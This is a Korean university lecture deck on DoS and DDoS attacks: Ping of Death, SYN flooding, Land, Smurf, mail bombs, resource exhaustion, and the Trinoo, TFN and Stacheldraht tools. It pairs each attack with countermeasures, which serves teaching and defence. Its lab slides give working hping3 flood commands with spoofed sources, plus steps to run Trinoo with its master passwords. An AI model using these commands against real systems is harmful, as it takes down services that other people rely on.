DoS 와 DDoS 공격 영동대학교스마트 IT 학부 : 컴퓨터와해킹 이호준 hjlee@yd.ac.kr
Contents 학습목표 DoS, DDoS 공격의패턴을이해한다. DoS, DDoS 공격을실행할수있다. DoS, DDoS 공격을탐지할수있다. DoS, DDoS 공격에적절히대처할수있다. 내용 DoS와 DDoS 공격의이해 DoS 공격 DDoS 공격 DoS, DDoS 공격에대한대응책 2/58
DoS 와 DDoS 공격의이해 DoS(Denial of Service, 서비스거부 ) 공격대상이수용할수있는능력이상의정보를제공하거나, 사용자또는네트워크의용량을초과시켜정상적으로작동하지못하게하는공격 파괴공격 : 디스크, 데이터, 시스템파괴 시스템자원고갈공격 : CPU, 메모리, 디스크의사용에과다한부하가중 네트워크자원고갈공격 : 쓰레기데이터로네트워크의대역폭고갈 DDoS(Distributed Denial of Service) DoS 공격의업그레이드판 1999 년 8 월 17 일에미네소타대학에서대대적으로 DDoS 공격이일어나 CNN, Yahoo, NBC 같은대규모사이트를마비시킴 3/58
DoS 공격 Ping of Death ping 을이용하여 ICMP 패킷을정상크기보다아주크게만드는것 크게만들어진패킷은네트워크를통해라우팅 (routing) 되어공격네트워크에도달하는동안아주작은조각 (fragment) 으로쪼개지고공격대상은조각화된패킷을모두처리해야하므로정상적인 ping 보다부하가훨씬많이걸림 4/58
DoS 공격 라우팅은출발지주소와목적지주소를확인하고최적의거리를찾아패킷을전달해주는것 전달과정에서패킷은항상특성이똑같은네트워크를지나지는않음. 프레임릴레이 ATM, 토큰링, 이더넷등다양한네트워크를지나목적지에도달 네트워크마다최대전송가능패킷길이가달라최대전송가능패킷길이가더작은네트워크를지날때데이터는작게분할됨 한번분할된패킷은더긴패킷길이를허용하는네트워크를지나도다시커지지않음 5/58
DoS 공격 Ping of Death 보안대책 현재대부분의시스템은 Ping of Death 공격을받을때반복적으로들어오는일정수이상의 ICMP 패킷을무시하게설정되어있음 관리하는시스템이 Ping of Death 공격에취약하다면가장일반적으로할수있는방법은패치 운영체제별패치는각벤더의홈페이지에서구할수있음 6/58
실습 13-1 Ping of Death 공격하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 리눅스페도라 12 필요프로그램 : hping3 1 hping3 설치 1-1 hping3 설치 ➊ yum list hping ➋ yum install hping3.i686 1-2 man hping3 실행 man hping3 7/58
실습 13-1 Ping of Death 공격하기 2 Ping of Death 공격수행 hping3 --icmp --rand-source 192.168.0.100 -d 65000 flood a --icmp : 패킷종류를 ICMP 로선택한다. b --rand-source : 공격자의 IP 주소를랜덤하게생성한다. c 192.168.0.100 : 공격대상시스템의 IP 주소다. d -d 65000 : 전송하는패킷의길이는 65,000 바이트로한다. 참고로최대전송가능길이는 65,535 바이트다. e --flood : 시스템이생성가능한만큼빠른속도로패킷을보낸다. 8/58
실습 13-1 Ping of Death 공격하기 3 Ping of Death 공격의패킷분석 3-1 Ping of Death 공격시공격자시스템에서의 TCP Dump 3-2 Ping of Death 공격시공격대상시스템에서의 TCP Dump a 16:11:27.484297 : 패킷을읽어들인시각이다. b 24.100.77.232 > 192.168.0.100 : 패킷의송신 / 수신시스템의 IP 주소다. c ICMP echo request : 프로토콜의종류다. d id 11533 : 패킷의 IP 헤더의 Identification 값이다. 이값이같으면한패킷이단편화된것이다. e length 1480 : IP 헤더길이를포함한패킷의전체길이다. 9/58
DoS 공격 SYN Flooding 네트워크에서서비스를제공하는시스템은동시사용자수가제한되어있음 SYN Flooding( 플러딩 ) 은존재하지않는클라이언트가서버별로한정되어있는접속가능공간에접속한것처럼속여다른사용자가서비스를제공받지못하게하는것 10/58
DoS 공격 공격자는쓰리웨이핸드셰이킹과정에서서버를다운시키기위해짧은시간안에많은양의 SYN 만보냄 시스템은보통 SYN 에대한연결을무한정기다리지않고일정시간동안만연결을시도하고기다리도록설정되어있음 SYN Flooding 공격을성공하려면서버에설정된대기시간안에서버가수용할수있는동시사용자수의한계를넘는연결을시도해야함 서버가 SYN Received 상태로 ACK 패킷을기다리는상태를 백로그 (backlog) 에빠졌 다 고표현하며, SYN Received 상태로 ACK 패킷을기다리는시간은설정사항으로변경할수있음 11/58
DoS 공격 SYN Flooding 보안대책 보안패치로대기시간을줄이는것이효과적이지만시스템의특성상무조건대기시간을줄일수없는경우가있음. 방화벽에서도정상적인접속시도와비정상적인 SYN Flooding 공격시도를구분할수있는방법이없기때문에직접적인차단은불가능 일차예방법은시스템에패치를하는것이며, 다음으로는침입탐지시스템 (IDS) 또는침입차단시스템 (IPS) 을설치하는것 SYN Flooding 공격은일정시간안에동시접속자수를점유해야하므로아주짧은시간안에똑같은형태의패킷을보내게됨. 이는매우정형화된형태로, 네트워크에서쉽게인지가가능 해당 ISP 업체에연락하여그에해당하는 IP 주소대역을접속금지시키거나확인한후방화벽또는라우터에서해당접속을금지시킴으로써시스템서비스중지를막을수있음 또다른대응방법은 Syn_Cookie Syn_Cookie 는서버에서클라이언트로보내는 SYN+ACK 패킷에임의로생성되는시퀀스넘버대신서버에서암호화기술을이용해서인증정보가담긴시퀀스넘버를생성하여클라이언트에보내는것 12/58
DoS 공격 TCP 쓰리웨이핸드셰이킹시 SYN Flooding 공격에대한 Syn_Cookie 대응방법 1 클라이언트로부터 SYN 패킷을받으면, 간단한인증정보가담긴 Syn_Cookie 를시퀀스넘버값에넣는다. SYN 으로인해원래는 TCP SYN Received 상태가되어야하지만세션을닫는다. 2 클라이언트가 Syn_Cookie 가포함된값으로 ACK 를보내면, 서버는그제서야세션을다시열고통신을시작한다. 13/58
실습 13-2 SYN Flooding 공격하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 리눅스페도라 12 필요프로그램 : hping3 1 웹서비스시작 service httpd start 2 SYN Flooding 공격수행 hping3 --rand-source 192.168.0.100 -p 80 -S flood -p 80 : 80 번포트에대해패킷을전송한다. -S : TCP 패킷중 SYN 만전송한다. 14/58
실습 13-2 SYN Flooding 공격하기 3 SYN Flooding 공격의패킷분석 a id 28001 : Ping of Death 와는달리 id 가모두다른데, 이는패킷이모두단편화된것이아니기때문이다. b offset 0 : 단편화될만한패킷이없기때문에모두 0 이다. c proto TCP (6) : IP 헤더를통해전송되는패킷이 TCP(6) 임을나타낸다. d length 40 : IP 헤더와 TCP 헤더가각각 20 바이트씩, 총 40 바이트가패킷길이가된다. 따라서데이터부분은 0 바이트가된다. e 95.166.9.130.21526 > 192.168.0.100.http : 패킷송신 / 수신시스템의 IP 와포트번호다. f S : SYN 패킷임을나타낸다. 15/58
실습 13-2 SYN Flooding 공격하기 4 공격의확인 netstat -an 16/58
DoS 공격 Boink, Bonk, Teardrop 프로토콜은목적에따라정도의차이는있지만신뢰성있는연결을제공하려함 신뢰성있는연결은패킷의순서가올바른가, 중간에손실된패킷은없는가를확인하는기능을기본으로제공 프로토콜은신뢰도를확보하고자반복적으로재요구하고수정을하게됨 Boink, Bonk, Teardrop 은이런반복적인재요구와수정을계속하게함으로써시스템자원을고갈시키는공격 17/58
DoS 공격 TCP 를통해데이터를전송할경우각데이터패킷은순번, 즉시퀀스넘버를가짐 Bonk 는처음패킷을 1 번으로보낸후두번째, 세번째패킷모두시퀀스넘버를 1 번으로조작해서보냄 Boink 는처음패킷을 1 번으로보낸후두번째패킷은 101 번, 세번째패킷은 201 번으로정상적으로보내다가중간에서일정한시퀀스넘버로보냄 Teardrop 은 UDP 를이용. 단순히시퀀스넘버를일정하게바꾸는것을넘어중첩과빈공간을만들며, 시퀀스넘버를좀더복잡하게섞음 18/58
DoS 공격 Teardrop 공격시패킷의시퀀스넘버와패킷의배치 19/58
DoS 공격 Boink, Bonk, Teardrop 보안대책 최근에나온시스템을파괴할수있는경우는거의없지만일부응용프로그램에서는이러한공격이동작하는경우를가끔발견할수있음 SYN Flooding 이나 Ping of Death 공격에대한대응책과같음 20/58
실습 13-3 Bonk, Boink 공격하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 리눅스페도라 12 필요프로그램 : hping3 1 Bonk, Boink 공격수행 1-1 Bonk, Boink 공격실행 1/2 hping3 -a 200.200.200.200 192.168.0.10 --id 3200 -O 12345 -M 34343 -p 21 d 320 --flood 1-2 Bonk, Boink 공격실행 2/2 hping3 -a 200.200.200.200 192.168.0.10 --id 3200 -O 12343 -M 34343 -p 21 d 320 --flood 21/58
실습 13-3 Bonk, Boink 공격하기 2 Bonk, Boink 공격의패킷분석 a id 3200 : id 는필자가정하여보낸값으로 3200 이다. 이값이같으면패킷을수신하는시스템은모두한패킷이라고생각하게된다. 필자는 3200 과 3201 로패킷을순차적인패킷이라고생각하게끔전송했다. b length 360 : 패킷길이다. 두종류의패킷은각각 IP 헤더와 TCP 헤더를포함하여 360 바이트와 512 바이트로전송되었다. c 34343:34647 : 시퀀스넘버다. 다음패킷의번호와중첩되는구간이있게보냈다. 22/58
DoS 공격 Land Land 를사전에서찾아보면 땅 또는 착륙하다 외에 ( 나쁜상태에 ) 빠지게하다 라는의미 Land( 랜드 ) 공격은의미그대로시스템을나쁜상태에빠지게하는것이며, 방법도아주간단 패킷을전송할때출발지 IP 주소와목적지 IP 주소값을똑같이만들어서공격대상에보내는것. 이때조작된 IP 주소값은당연히공격대상의 IP 주소여야함 SYN Flooding 처럼동시사용자수를점유해버리며, CPU 부하까지올림 23/58
DoS 공격 Land 보안대책 Land 공격도현재의시스템에서는대부분효과가없음 현재의시스템은출발지주소와목적지주소를확인하여동일한패킷은인식하고버림 라우터나방화벽에서출발지 IP 주소가내부 IP 주소와동일한패킷은처음부터차단하는것이좋음 24/58
실습 13-4 Land 공격하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 리눅스페도라 12 필요프로그램 : hping3 1 Land 공격수행 hping3 192.168.0.10 -a 192.168.0.10 --icmp flood 25/58
실습 13-4 Land 공격하기 2 Land 공격의패킷분석 26/58
DoS 공격 Smurf, Fraggle 웜이네트워크를공격하는데아직도많이쓰는데, Ping of Death 처럼 ICMP 패킷을이용 출발지주소가공격대상으로바뀐 ICMP Request 패킷을시스템이매우많은네트워크로브로드캐스트함 브드캐스트란확성기를들고청중모두에게얘기하는것 기본적인브로드캐스트는목적지 IP 주소 255.255.255.255 를가지고네트워크의임의의시스템에패킷을보내는것 27/58
DoS 공격 다이렉트브로드캐스트 (Direct Broadcast) 172.16.0.0 네트워크에 IP 주소가 10.10.10.24 인공격자가브로드캐스트하려면목적지 IP 주소를 172.16.0.255 와같이설정하여패킷을보내야함 공격자가 172.16.0.255 로다이렉트브로드캐스트하면 [ 그림 13-27] 과같이패킷이전달됨 ICMP Request 를받게된 172.16.0.0 네트워크는 ICMP Request 패킷의위조된시작 IP 주소로 ICMP Reply 를 [ 그림 13-28] 과같이다시보냄 28/58
DoS 공격 Smurf, Fraggle 보안대책 Smurf 는 DDoS 공격의한방편으로이용되기도함 이공격을막는방법은다이렉트브로드캐스트를막는것 29/58
실습 13-5 Smurf, Fraggle 공격하기 실습환경 공격자시스템 : 리눅스페도라 12 공격대상시스템 : 리눅스페도라 12 필요프로그램 : hping3 1 Smurf 공격수행 hping 192.168.0.255 -a 10.10.10.5 --icmp --flood 30/58
실습 13-5 Smurf, Fraggle 공격하기 2 Smurf 공격의패킷분석 31/58
DoS 공격 Mail Bomb 흔히폭탄메일이라하고스팸메일도같은종류 메일서버는각사용자에게일정한디스크공간을할당하는데, 메일이폭주하여디스크공간을가득채우면정작받아야하는메일을받을수없음 Mail Bomb 보안대책 /etc/mail/access 파일을이용해 IP 주소, 이메일주소, 도메인별로제한하거나 Relay 를허용 32/58
DoS 공격 설정된 /etc/mail/access 파일 Sendmail 에적용 makemap hash /etc/mail/access < /etc/mail/access 를실행하면같은폴더의 access.db 에 vi 에디터로입력한값이적용되었는지 strings 명령으로확인가능 ➊ makemap hash /etc/mail/access < /etc/mail/access ➋ strings /etc/mail/access.db ➋ ➊ 33/58
실습 13-6 Mail Bomb 공격하기 실습환경 공격자시스템 : 리눅스페도라 12 필요프로그램 : Sendmail 1 Sendmail을통한메일전송 telnet 127.0.0.1 25 a Sendmail은텔넷을이용한다. 텔넷으로로컬 IP 주소 (127.0.0.1) 를쓰고있으며, SMTP 포트번호인 25번을뒤에써주면 Sendmail에접속할수있다. b Sendmail에접속한후 mail from : 뒤에보내는사람의주소를쓴다. 이메일은어떤주소를써도무방하다. c rcpt to : 다음에받는사람의주소를쓴다. d DATA 라고입력하면메일의본문을입력할수있다. e 보내는내용을적은다음. 을누르고키를입력하면메일이보내진다. 필자는 Hello. I m wishfree 라고간단하게보냈다. 34/58
실습 13-6 Mail Bomb 공격하기 2 Sendmail에서전송한메일확인 35/58
DoS 공격 시스템자원고갈공격 가용디스크자원고갈 가용메모리자원고갈 가용프로세스자원고갈 시스템자원고갈공격보안대책 Tripwire 무결성체크 쿼타 (quota) 설정 디스크자원고갈과앞절에서다룬스팸메일공격으로부터시스템의파괴를막을수있는방법은쿼타 (quota) 를설정 36/58
실습 13-7 자원고갈공격하기 실습환경 공격자시스템 : 리눅스페도라 12 필요프로그램 : disk.c, memory.c, process.c 1 가용디스크자원고갈공격 1-1 디스크자원고갈을위한소스 vi disk.c 1-2 디스크자원공격전상태확인 df 37/58
실습 13-7 자원고갈공격하기 1-3 disk.c 파일컴파일 ➊ gcc -o disk disk.c ➋./disk 1-4 디스크자원공격전, 실시, 공격후상태확인 df 38/58
실습 13-7 자원고갈공격하기 1-5 디스크자원고갈공격의프로세스확인및제거 ➊ ps ef ➋ kill -9 2628 2 가용디스크자원고갈공격소스 39/58
DDoS 공격 DDoS 공격에대한이해 공격자 (Attacker) : 공격을주도하는해커의컴퓨터다. 마스터 (Master) : 공격자에게서직접명령을받는시스템으로, 여러대의에이전트 (Agent) 를관리한다. 핸들러 (Handler) 프로그램 : 마스터시스템의역할을수행하는프로그램이다. 에이전트 (Agent) : 공격대상에직접공격을가하는시스템이다. 데몬 (Daemon) 프로그램 : 에이전트시스템역할을수행하는프로그램이다. 40/58
DDoS 공격 41/58
DDoS 공격 공격자가마스터와에이전트를획득하여실제적으로 DDoS 공격을하는순서 1 많은사용자가사용하며, 대역폭이넓다. 관리자가모든시스템을세세하게관리할수없는곳의계정을획득하여스니핑이나버퍼오버플로우등의공격으로설치권한이나루트권한을획득한다. 2 잠재적인공격대상을파악하기위해네트워크블록별로스캐닝을실시한다. 그리고원격지에서버퍼오버플로우를일으킬수있는취약한서비스를제공하는서버를파악한다. 3 취약한시스템목록을확인한후실제공격을위한 Exploit 을작성한다. 4 권한을획득한시스템에침투하여 Exploit 을컴파일하여설치한다. 5 설치한 Exploit 으로공격을시작한다. 42/58
DDoS 공격 Trinoo 1999 년 6 월말부터 7 월사이에퍼지기시작했으며, 미네소타대학사고의주범. 원래이름은 Trin00 처음솔라리스 2.x 시스템에서발견되었으며, 최소 227 개시스템이공격에쓰인것으로알려져있음 UDP 를기본으로하는공격을시행하며 statd, cmsd, ttdbserverd 데몬이주공격대상 Trinoo 는기본적으로 [ 표 13-3] 과같은포트번호를사용하지만소스코드에서임의로변경가능 43/58
DDoS 공격 Trinoo 44/58
DDoS 공격 TFN(TribedFlood Network) 1999 년 8 월사고를일으켰던 Trinoo 의약간발전된형태로믹스터 (Mixter) 라는사람이개발 Teletubby Flood Network 라고부르기도함 TFN 도 Trinoo 처럼 statd, cmsd, ttdb 데몬의취약점을공격 클라이언트를구동하면패스워드를사용하지않고, 클라이언트와데몬간에는 ICMP Echo Request 패킷을사용 클라이언트의각명령은 ICMP Echo Request 패킷에 16 비트이진수로데몬에전송 TFN 은공격자시스템과마스터시스템간연결이암호문이아닌평문으로전달되는약점이있음. 이는데이터가다른해커나관리자에게스니핑되거나세션하이재킹될수있으며, 공격자를노출시키는등치명적일수있음 45/58
DDoS 공격 TFN 2K TFN 의발전된형태로, 역시믹스터가개발 특징 통신에특정포트를사용하지않고암호화되어있으며, 프로그램을통해 UDP, TCP, ICMP 를복합적으로사용하며포트도임의로결정한다. TCP SYN Flooding, UDP Flooding, ICMP Flooding, Smurf 공격을쓰고있다. 모든명령은 CAST-256 알고리즘으로암호화된다. 지정된 TCP 포트에백도어를실행할수있다. 데몬은설치시자신의프로세스이름을변경함으로써프로세스모니터링을회피한다. UDP 패킷의헤더가실제 UDP 패킷보다 3 바이트만큼더크다. TCP 패킷의헤더의길이는항상 0 이다. 정상패킷이라면절대로 0 일수없다. 46/58
DDoS 공격 47/58
DDoS 공격 Stacheldraht 독일어로 철조망 이라는뜻 1999 년 10 월에처음출현한것으로알려져있으며, TFN 을발전시킨형태 Stacheldraht( 슈타첼드라트 ) 역시 TFN 2K 처럼공격자와마스터, 에이전트, 데몬과의통신에암호화기능이추가됨 공격자가마스터에접속하면마스터는현재접속을시도한이가올바른공격자인지확인하기위해패스워드입력을요구 입력된패스워드는최초설치되기전에 Authentication 의 Passphrase 를사용하여암호화된상태로공격자에게서핸들러로보내짐 48/58
DDoS 공격 Stacheldraht 49/58
실습 13-8 Trinoo 를이용해 DDoS 공격하기 실습환경 공격자시스템과마스터시스템 : 리눅스페도라 12 에이전트시스템 : 리눅스페도라 12 공격대상시스템 : 윈도우 XP 필요프로그램 : Trinoo 소스, gcc 컴파일러 1 Trinoo 컴파일 1-1 Trinoo 소스압축풀기 tar -xvf trinoo.tar 50/58
실습 13-8 Trinoo 를이용해 DDoS 공격하기 1-2 Trinoo 에이전트소스수정 vi ns.c 1-3 Trinoo 에이전트컴파일을위한 Makefile 수정 51/58
실습 13-8 Trinoo 를이용해 DDoS 공격하기 2 에이전트프로그램실행 vi ns.c 마스터프로그램실행 3-1 Trinoo 마스터실행 ➊./master ➋ g0rave 52/58
실습 13-8 Trinoo 를이용해 DDoS 공격하기 3-2 Trinoo 마스터로접속 ➊ telnet 192.168.0.100 27665 ➋ betaalmostdone ➌ bcast 3-3 help 로명령사용법확인 ➊ help ➋ help mdos 53/58
실습 13-8 Trinoo 를이용해 DDoS 공격하기 3-4 mdos 명령의실행 mdos 192.168.0.101 3-5 Trinoo Dos 공격 TCP Dump 54/58
DoS, DDoS 공격에대한대응책 방화벽설치와운영 방화벽을설치하여내부네트워크의진입차단 다음과같은사항차단 출발지주소 목적지주소 시도하고자하는서비스 ( 포트번호 ) 프로토콜 방화벽룰셋원칙 최소한의서비스만제공하고사용하지않는서비스의포트는닫는다. 이는 DoS 공격뿐만아니라모든해킹에대한기본대응책이다. 서비스에필요하지않은데열어놓은포트는해커에게많은공격가능성을제공하는것과같다. 외부네트워크에서들어오는패킷의출발지주소가내부네트워크에존재하는주소지와일치할경우차단한다. 침입차단시스템내부구성요소간트러스트 (Trust, 신뢰 ) 를금지한다. 내부 / 외부에인증없이시스템에접속할수있는사용자를허용하지않는다. 명시적인서비스외의모든서비스를금지한다. 55/58
DoS, DDoS 공격에대한대응책 침입탐지시스템설치와운영 IDS 를통해공격의탐지와대응 안정적인네트워크설계 시스템패치 시스템패치등을통한지속적인관리 스캐닝 Zombie 툴을사용한내부 DDoS 툴의탐색과제거 서비스별대역폭제한 불필요한서비스를제거함으로써공격위험의감소 서비스별대역폭을제한함으로써공격에따른피해최소 56/58
DoS, DDoS 공격에대한대응책 방화벽설치와운영 방화벽을설치하여내부네트워크의진입차단 침입탐지시스템설치와운영 IDS 를통해공격의탐지와대응 안정적인네트워크설계 시스템패치 시스템패치등을통한지속적인관리 스캐닝 Zombie 툴을사용한내부 DDoS 툴의탐색과제거 서비스별대역폭제한 불필요한서비스를제거함으로써공격위험의감소 서비스별대역폭을제한함으로써공격에따른피해최소 57/58
영동대학교스마트 IT 학부 : 컴퓨터와해킹